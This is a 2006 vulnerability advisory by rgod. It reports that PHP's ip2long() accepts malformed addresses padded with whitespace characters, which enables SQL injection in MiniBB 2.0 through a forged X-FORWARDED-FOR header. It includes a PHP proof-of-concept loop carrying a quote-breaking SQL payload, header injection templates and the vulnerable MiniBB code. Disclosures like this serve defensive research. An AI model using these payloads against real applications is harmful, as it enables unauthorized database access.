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  Обход функции ip2long в PHP (protection bypass)

From:rgod_(at)_autistici.org <rgod_(at)_autistici.org>
Date:2 августа 2006 г.
Subject:PHP ip2long() function circumvention

--- PHP ip2long() function circumvention --------------------------------------

tested on php 5.0.2
          "  4.3.3
--------------------------------------------------------------------------------

after some test on miniBB application (http://www.minibb.net/) I obtained that
the php ip2long() function can be tricked to return a valid IPv4 Internet
network address instead of "-1" even if the ip address argument is not a valid
one, through the injection of some chars, ex:

<?php
for ($i=0; $i<=255; $i++)
{
 echo $i.":".ip2long("1.1.1.1".chr($i).
"'or'a'='a'/*")."\r\n";
}
?>

when chr($i) is chr(0), chr(9), chr(10), chr(11), chr(12), chr(13) or chr(32)

it gives the following (valid) result:

16843009

in minibb case this could result in sql injection, forging an header like this:

X-FOWARDED-FOR: 1.1.1.1[CHR(9)]'[SQL CODE]

or even like this:

X-FOWARDED-FOR: 1[CHR(9)]'[SQL CODE]

(however Minibb limit the string to 15 chars so you will have an unuseful twelve
chars sql injection...)
also remeber that HTTP headers is not filtered by PHP magic_quotes_gpc, so this
could give an attacker the way to fully compromise an application

code taken from MiniBB 2.0
index.php, 248-264
/* Banned IPs/IDs stuff */
$thisIp=getIP();                      <--------------------- here $thisIp becomes our sql code
$cen=explode('.', $thisIp);

if(isset($cen[0]) and isset($cen[1]) and isset($cen[2])){
$thisIpMask[0]=$cen[0].'.'.$cen[1].'.'.$cen[2].'.+';
$thisIpMask[1]=$cen[0].'.'.$cen[1].'.+';
}
else {
$thisIpMask[0]='0.0.0.+';
$thisIpMask[1]='0.0.0.+';
}

if (db_ipCheck($thisIp,$thisIpMask,$user_id)) { //<-----------  $thisIp is passed to the db_ipCheck() function
$title=$sitename." :: ".$l_accessDenied;
echo ParseTpl(makeUp('main_access_denied')); exit;
}

bb_functions.php, near lines 123-131
//--------------->
function getIP(){
$ip1=getenv('REMOTE_ADDR');$ip2=getenv('HTTP_X_FORWARDED_
FOR');
if ($ip2!='' and ip2long($ip2)!=-1) $finalIP=$ip2; else $finalIP=$ip1; //<-- vulnerable code
$finalIP=substr($finalIP,0,15);
return $finalIP;
}

//--------------->

setup_mysql.php, near lines 99-105:

function db_ipCheck($thisIp,$thisIpMask,$user_id){
$res=mysql_query('select id from '.$GLOBALS['Tb'].' where
banip='."'".$thisIp."'".' or banip='."'".$thisIpMask[0]."'".' or //<--- sql injection
banip='."'".$thisIpMask[1]."'".' or banip='."'".$user_id."'");
echo mysql_error();
if($res and mysql_num_rows($res)>0) return TRUE; else return FALSE;
}

--------------------------------------------------------------------------------

1.05 29/07/2006
rgod
http://retrogod.altervista.org/php_ip2long.htm
--------------------------------------------------------------------------------


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